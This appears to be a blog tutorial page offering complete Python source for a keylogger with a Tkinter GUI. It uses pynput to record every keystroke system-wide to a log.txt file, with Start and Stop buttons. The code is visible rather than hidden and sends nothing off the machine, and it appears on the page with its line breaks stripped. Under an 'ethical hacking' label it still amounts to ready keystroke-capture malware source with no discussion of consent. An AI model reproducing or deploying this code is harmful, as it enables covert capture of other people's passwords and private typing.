π Python Keylogger with GUI – Ethical Hacking & Cybersecurity Tutorial
Demo :
Click Video πππ
Code :
π Folder Structure:
/python-keylogger
│── keylogger.py
│── log.txt
│── README.md
│── requirements.txt
πΉ Step 1: Install Dependencies
cmd => pip install pynput
πΉ Step 2: Create
keylogger.py
Fileimport tkinter as tkfrom pynput import keyboardimport threadinglog_file = "log.txt"listener = None # Global variable for listenerdef write_log(text):with open(log_file, "a") as f:f.write(text)f.flush() # Instant savedef on_press(key):try:key_text = key.charexcept AttributeError:key_text = f" {str(key)} "log_text.insert(tk.END, key_text) # GUI pe show karolog_text.see(tk.END) # Auto-scrollwrite_log(key_text) # File me save karodef start_logging():global listenerif listener is None or not listener.running:listener = keyboard.Listener(on_press=on_press)listener.start()def stop_logging():global listenerif listener and listener.running:listener.stop()listener = None# --- GUI Setup ---root = tk.Tk()root.title("Keylogger GUI")root.geometry("400x300")# Buttonsstart_button = tk.Button(root, text="Start Logging", command=start_logging, bg="green", fg="white")start_button.pack(pady=5)stop_button = tk.Button(root, text="Stop Logging", command=stop_logging, bg="red", fg="white")stop_button.pack(pady=5)# Log Displaylog_text = tk.Text(root, height=10, width=50)log_text.pack(pady=10)root.mainloop()
Comments
Post a Comment